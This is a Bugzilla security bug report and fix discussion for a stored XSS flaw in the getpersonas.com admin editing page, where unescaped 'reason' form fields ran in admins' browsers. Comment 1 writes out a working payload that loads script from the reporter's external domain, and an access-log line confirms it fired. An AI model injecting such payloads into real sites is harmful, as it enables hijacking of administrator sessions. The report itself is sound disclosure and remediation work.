Closed
Bug 620524
Opened 15 years ago
Closed 15 years ago
Stored XSS - Upload: "reason" and "otherreason" are not checked
Categories
(Websites Graveyard :: getpersonas.com, defect, P1)
Websites Graveyard
getpersonas.com
Tracking
(Not tracked)
VERIFIED
FIXED
People
(Reporter: janmoesen_=-bugzilla-=+spamtrap, Assigned: chenba)
References
()
Details
(Keywords: reporter-external, wsec-xss, Whiteboard: [infrasec:xss])
Attachments
(1 file, 1 obsolete file)
|
4.62 KB,
patch
|
telliott
:
review+
|
Details | Diff | Splinter Review |
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0b9pre) Gecko/20101218 Firefox/4.0b9pre
Build Identifier:
Whereas the value for "category" is checked against the admin-defined list, "reason" (a "select" element) and "reasonother" (a text input) are written to the database as-is. If I understand correctly, no escaping happens in admin/editing.php when printing these as HTML. I believe this is a source of XSS, thus gaining admin privileges.
Reproducible: Always
Note that I did not set up a local instance of the site, and since I do not have admin privileges on the production site, I had to resort to reading the code.
It prints, among others:
print " (" . $result['reason_other'] . ")";
with $result being:
$result = $db->get_edits_by_id($id);
and $db->get_edits_by_id() simply returning an associative array for:
$statement = 'select * from edits where id = :id';
which returns the record previously stored by:
$db->submit_persona_edit(…);
Please correct me if I am wrong!
| Reporter | ||
Comment 1•15 years ago
|
||
I feel like such a tool. I was convinced this was easily exploitable, while in fact /another/ bug in the code prevented it from being so. :-)
The submit_persona_edit() function has an optional parameter $reason_other, but the function's body refers to $reasonother. Therefore, my attempts were in vain.
However, the "reason" field is still exploitable. It is limited to 24 characters, but that is not too big a problem. For instance, I set it to "<script src=//kak.be/ />" for the persona with ID 358653. (Note that since I do not run HTTPS on my server, the request will not actually load any JavaScript. If you can access the getpersonas.com admin from an HTTP URL and you have referrer sending enabled, you should get an alert box. I have tested this with a local installation now.)
Persistent (stored) XSS, anyone?
| Reporter | ||
Comment 2•15 years ago
|
||
(As an aside, there is some "reason-other" vs. "other-reason" confusion going on with the HTML element's @name, too.)
| Reporter | ||
Comment 3•15 years ago
|
||
http://www.getpersonas.com/en-US/admin/editing.php might work. The user name I used was "MikeParadinas", and the bogus persona's name was "Stretchy Gorilla".
| Reporter | ||
Comment 4•15 years ago
|
||
As for confirming this bug, I found this in my access log:
129.97.220.245 - - [25/Jan/2011:01:52:39 +0100] "GET / HTTP/1.1" 200 46 "http://www.getpersonas.com/en-US/admin/editing.php?id=358653&category=" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-ca) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4"
Updated•15 years ago
|
Assignee: nobody → chenba
Priority: -- → P1
| Assignee | ||
Comment 5•15 years ago
|
||
The reason and other reason are now wrapped in htmlentities() for admin/editing.
Fixed an array key typo: 'reason-other' -> 'other-reason' for persona edit.
Check the selected reason against a defined list.
Attachment #507406 -
Flags: review?
Updated•15 years ago
|
Attachment #507406 -
Flags: review? → review?(telliott)
Updated•15 years ago
|
Attachment #507406 -
Flags: review?(telliott) → review+
| Reporter | ||
Comment 6•15 years ago
|
||
> print "<div style=\"outline: red solid thin\">Reason: " .
> htmlentities($result['reason']);
Just wondering: is there reason to use htmlentities() instead of htmlspecialchars()? Both are used, with a preference for the former. I do not see a benefit in using htmlentities() — everything is UTF-8 anyway, right? (Hm, personas.sql does say "CHARSET=latin1".)
> $upload_submitted['other-reason']
Nit: now might be an opportunity to rename the field in the HTML to match the field name in the code and database, instead of the other way round.
Also, there is still a mismatch between the function signature and body for "submit_persona_edit()": "$reason_other" vs. "$reasonother". This will trigger a PHP notice about undefined variable. (Even when not shown on a live site, they smell funny.)
| Assignee | ||
Comment 7•15 years ago
|
||
(In reply to comment #6)
> > print "<div style=\"outline: red solid thin\">Reason: " .
> > htmlentities($result['reason']);
> Just wondering: is there reason to use htmlentities() instead of
> htmlspecialchars()? Both are used, with a preference for the former. I do not
> see a benefit in using htmlentities() — everything is UTF-8 anyway, right? (Hm,
> personas.sql does say "CHARSET=latin1".)
>
> > $upload_submitted['other-reason']
> Nit: now might be an opportunity to rename the field in the HTML to match the
> field name in the code and database, instead of the other way round.
>
> Also, there is still a mismatch between the function signature and body for
> "submit_persona_edit()": "$reason_other" vs. "$reasonother". This will trigger
> a PHP notice about undefined variable. (Even when not shown on a live site,
> they smell funny.)
Thanks for the review, Jan.
You're right that htmlspecialchars() is fine in this case. And that would make it more consistent with the rest of the code.
Having all the field names match should be another bug.
Thanks for the reminder on "$reason_other" vs. "$reasonother".
| Assignee | ||
Comment 8•15 years ago
|
||
Made the htmlspecialchars() and variable name changes pointed out by Jan.
Attachment #507406 -
Attachment is obsolete: true
Attachment #507798 -
Flags: review?(telliott)
Updated•15 years ago
|
Attachment #507798 -
Flags: review?(telliott) → review+
Comment 10•15 years ago
|
||
Updated•15 years ago
|
Status: UNCONFIRMED → NEW
Ever confirmed: true
| Assignee | ||
Comment 11•15 years ago
|
||
committed @ r81925
Status: NEW → RESOLVED
Closed: 15 years ago
Resolution: --- → FIXED
David: is this something we could work together on, tomorrow, or Friday? I have Admin/Editor access on staging, so let me know. Thanks!
Comment 13•15 years ago
|
||
checking to see if testing is finished on this or to see if its been pushed.
Comment 14•15 years ago
|
||
code is on the live site
Updated•15 years ago
|
Summary: Upload: "reason" and "otherreason" are not checked → Stored XSS - Upload: "reason" and "otherreason" are not checked
Whiteboard: [infrasec:xss]
Comment 15•15 years ago
|
||
Fix was verified while testing bug #629955 . Forgot to update this bug
Status: RESOLVED → VERIFIED
Updated•13 years ago
|
Product: Websites → Websites Graveyard
Comment 16•13 years ago
|
||
Adding keywords to bugs for metrics, no action required. Sorry about bugmail spam.
Keywords: wsec-xss
Updated•13 years ago
|
Flags: sec-bounty+
Updated•9 years ago
|
Group: websites-security
Updated•2 years ago
|
Keywords: reporter-external
You need to log in
before you can comment on or make changes to this bug.
Description
•